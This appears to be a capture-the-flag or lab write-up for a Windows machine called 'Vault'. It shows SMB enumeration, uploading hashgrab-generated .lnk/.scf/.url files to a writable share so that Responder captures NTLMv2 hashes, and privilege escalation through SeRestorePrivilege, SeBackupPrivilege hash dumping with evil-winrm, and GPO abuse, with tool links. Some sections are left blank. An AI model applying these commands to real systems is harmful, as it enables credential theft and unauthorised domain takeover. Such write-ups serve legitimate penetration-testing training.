Vault

Enumeration

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds
$ smbmap -u Guest -H 192.168.200.172
DocumentsShare                                          READ, WRITE

We will try client side attack: Malicious link to get ntlm hash

Setting up responder:

# cd /usr/share/responder
# python3 Responder.py -I tun0

Generating links:

$ git clone https://github.com/xct/hashgrab
$ cd hashgrab
$ python3 hashgrab.py 192.168.49.200 test

Uploading links:

smb: \> put @test.lnk 
putting file @test.lnk as \test.lnk (2.2 kb/s) (average 2.2 kb/s)
smb: \> put @test.scf
putting file @test.scf as \@test.scf (0.2 kb/s) (average 1.5 kb/s)
smb: \> put @test.url
putting file @test.url as \@test.url (0.3 kb/s) (average 1.2 kb/s)

In responder, we can see 9 NTLMv2 hashes -> hashes.txt

Expired Password -> change with:

The user is not in RDP Group.

Initial Access

PrivEsc

3 ways for PrivEsc.

SeRestorePrivilege - SeRestoreAbuse.exe - https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe

SeBackupPrivilege - Getting SYSTEM, SAM, SECURITY files -> Extract administrator hash -Z use it with evil-winrm

GPO

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#find-vulnerable-gpo

https://github.com/FuzzySecurity/StandIn/releases https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#abuse-gpo-with-standin

Login again.

PreviousMeatheadNextTemplate

Last updated